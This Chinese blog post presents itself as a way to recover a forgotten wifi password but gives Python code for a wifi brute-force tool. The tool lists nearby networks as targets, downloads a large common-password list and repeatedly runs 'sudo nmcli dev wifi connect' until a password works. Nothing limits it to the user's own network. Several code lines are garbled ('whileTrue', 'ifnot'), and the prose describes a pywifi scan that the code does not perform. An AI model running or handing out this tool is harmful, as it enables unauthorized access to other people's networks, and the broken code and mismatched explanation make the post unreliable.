忘记的wifi密码Python脚本找回

小编：饿狼更新时间：2025-06-16 17:31

很多小伙伴都好奇，一些个网络大神咋就把wifi密码给找回来了？其实找回wifi密码的难度主要看密码设得有多复杂。如果是那种常见的弱密码，比如“12345678”，找回来真不难！下面就教你用Python脚本三步找回wifi密码，纯为学习技术，别拿去干违法的事儿哦！

忘记的wifi密码Python脚本找回

第一步：扫描附近wifi信号

想找回wifi密码，第一步得知道附近有哪些wifi信号。咱们可以用Python写个小函数，叫`display_targets`，获取wifi列表。

def display_targets(networks, security_type):
    print("Select a target: \n")
    
    rows, columns = os.popen('stty size', 'r').read().split()
    for i in range(len(networks)):
        width = len(str(str(i+1)+". "+networks[i]+security_type[i]))+2
        spacer = " "
        
        if (int(columns) >= 100):
            calc = int((int(columns)-int(width))*0.75)
        else:
                calc = int(columns)-int(width)
        
        for index in range(calc):
            spacer += "."
            if index == (calc-1):
                spacer += " "
            
        print(str(i+1)+". "+networks[i]+spacer+security_type[i])

它能扫描附近wifi的SSID（就是wifi名字，比如“HUAWEI-XXXX”）。跑代码后，程序会把附近wifi信号列出来，存到列表里，方便你挑想找回密码的那个wifi。这个函数写下来也就十几行，超简单！

忘记的wifi密码Python脚本找回

小提示：先用`pip install pywifi`装好库，Windows、Mac、Linux都支持。跑之前确认下电脑网卡能不能扫wifi，不然可能啥也找不到。

第二步

扫完wifi列表后，找到你的wifi。这步更轻松，纯Python基础操作。可以用输入框，让你从列表选出wifi名字（比如“TP-LINK_1234”）。选好后，程序会记住这个wifi的SSID，准备下一步。

def prompt_for_target_choice(max):
    whileTrue:
        try:
            selected = int(input("\nEnter number of target: "))
            if(selected >= 1and selected <= max):
                return selected - 1
        except Exception as e:
            ignore = e

        print("Invalid choice: Please pick a number between 1 and " + str(max))

第三步：暴力尝试找回wifi密码

选好wifi后，重头戏来了——咋找回密码？最常用的办法是“暴力尝试”，就是拿一堆常见密码挨个试。咱们可以用GitHub上的一个开源项目，里面有10万个常用wifi密码（比如“admin123”之类的弱密码）。程序会自动用这些密码去试，直到找到对的那个。

具体咋干？写个函数，循环读取密码列表，自动尝试连wifi。每次试的时候，屏幕会用颜色提示：红色是试错了，紫色是正在试，绿色是找回成功！整个代码大概60行，核心就是`pywifi`的连接功能加上密码循环，效率很高。

def brute_force(selected_network, passwords, args):
    for password in passwords:
        # necessary due to NetworkManager restart after unsuccessful attempt at login
        password = password.strip()

        # when when obtain password from url we need the decode utf-8 however we doesnt when reading from file
        if isinstance(password, str):
            decoded_line = password
        else:
            decoded_line = password.decode("utf-8")
            
        if args.verbose isTrue:
            print(bcolors.HEADER+"** TESTING **: with password '" +
                decoded_line+"'"+bcolors.ENDC)

        if (len(decoded_line) >= 8):
            time.sleep(3)

            creds = os.popen("sudo nmcli dev wifi connect " +
                selected_network+" password "+decoded_line).read()
                
            # print(creds)

            if ("Error:"in creds.strip()):
                if args.verbose isTrue:
                    print(bcolors.FAIL+"** TESTING **: password '" +
                        decoded_line+"' failed."+bcolors.ENDC)
            else:
                sys.exit(bcolors.OKGREEN+"** KEY FOUND! **: password '" +
                    decoded_line+"' succeeded."+bcolors.ENDC)
        else:
            if args.verbose isTrue:
                print(bcolors.OKCYAN+"** TESTING **: password '" +
                    decoded_line+"' too short, passing."+bcolors.ENDC)

    print(bcolors.FAIL+"** RESULTS **: All passwords failed :("+bcolors.ENDC)

小提醒：找回速度看你电脑性能和密码复杂程度。如果wifi用的是“password123”这种弱密码，估计几分钟就搞定；但如果是16位随机密码，难度就大多了。

把三步连起来

把这三步串起来，逻辑是这样的：先用`display_targets`扫wifi列表，选好你的wifi，最后用暴力尝试函数一个个试密码。整个脚本不到100行，简单又好使！跑的时候，屏幕会刷测试状态，红色、紫色、绿色提示清清楚楚，找到密码后直接显示，爽快！

def main():
    require_root()
    args = argument_parser()

    # The user chose to supplied their own url
    if args.url isnotNone:
        passwords = fetch_password_from_url(args.url)
    # user elect to read passwords form a file
    elif args.file isnotNone:
        file = open(args.file, "r")
        passwords = file.readlines()
        ifnot passwords:
            print("Password file cannot be empty!")
            exit(0)
        file.close()
    else:
        # fallback to the default list as the user didnt supplied a password list
        default_url = "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-100000.txt"
        passwords = fetch_password_from_url(default_url)

    # grabbing the list of the network ssids
    func_call = start(1)
    networks = func_call[0]
    security_type = func_call[1]
    
    ifnot networks:
        print("No networks found!")
        sys.exit(-1)

    display_targets(networks, security_type)
    max = len(networks)
    pick = prompt_for_target_choice(max)
    target = networks[pick]
    
    print("\nWifi-bf is running. If you would like to see passwords being tested in realtime, enable the [--verbose] flag at start.")

    brute_force(target, passwords, args)

小建议：找到密码后，记到手机备忘录里，标上“家里wifi密码”，免得下次又忘了。